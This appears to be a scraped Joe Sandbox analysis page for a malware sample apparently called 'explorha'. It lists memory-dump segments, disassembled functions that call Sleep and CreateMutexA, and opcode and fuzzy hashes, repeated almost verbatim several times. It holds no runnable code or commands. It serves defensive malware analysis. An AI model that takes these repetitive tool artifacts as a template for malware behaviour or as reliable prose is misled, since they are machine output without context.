Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0d443de0c0b35697bc17f978392d4b53b5fc2e85e6fa1a1caeba8c13b4a92790
Instruction ID: 3a44dfefabb92c9c975e23bf29355d7ebc1140558c8e42e069d46c0579528110
Opcode Fuzzy Hash: 0d443de0c0b35697bc17f978392d4b53b5fc2e85e6fa1a1caeba8c13b4a92790
Instruction Fuzzy Hash: 933168717141809BFB0CEB6CCE847ADBB62EB82314F248A1AE815AB3C1C77D59808719

Uniqueness

Uniqueness Score: -1.00%

Function 00489B49 Relevance: 3.1, APIs: 2, Instructions: 127
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d93c4d47df19ec6caa51b001c116497b6f79444c89dca060f2f5c79422f38bde
Instruction ID: 4a0876759ac9b377b68fb192e6c2d264442d11f4d073cebaf24ae1da84bfdca6
Opcode Fuzzy Hash: d93c4d47df19ec6caa51b001c116497b6f79444c89dca060f2f5c79422f38bde
Instruction Fuzzy Hash: C8316B717001449BFF08EB68DEC47ADBB62ABC2318F248A1AE4159B3C2C77D69808759

Uniqueness

Uniqueness Score: -1.00%

Function 00489C7E Relevance: 3.1, APIs: 2, Instructions: 126
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 678a9df9529e67eda342acd716c8d08313df3766c80552f28070d0776a600cb6
Instruction ID: 577c3d4bcb7bb88b8194b3c573d7525c29232190bb450666aeb205d137ec29a1
Opcode Fuzzy Hash: 678a9df9529e67eda342acd716c8d08313df3766c80552f28070d0776a600cb6
Instruction Fuzzy Hash: F7315A717005009BFF08EB78CE897ADBBA2EB82314F248A1EE4159B3D1D77D5980875D

Uniqueness

Uniqueness Score: -1.00%

Function 00489EE8 Relevance: 3.1, APIs: 2, Instructions: 124
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 98642a1ca790ab0f39276655147f77d1a35d9262050f8a50f579a57d5a1d2c7f
Instruction ID: 90bf50537003f836a598b9789bc08c6bf44bf1ee3d08f11c962f94a1aec0e7be
Opcode Fuzzy Hash: 98642a1ca790ab0f39276655147f77d1a35d9262050f8a50f579a57d5a1d2c7f
Instruction Fuzzy Hash: 8E318A716005009BFF0CEB78CE857ADBB61DB82318F248A2EE211973C2C7BD49808759

Uniqueness

Uniqueness Score: -1.00%

Function 0048A01D Relevance: 3.1, APIs: 2, Instructions: 123
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
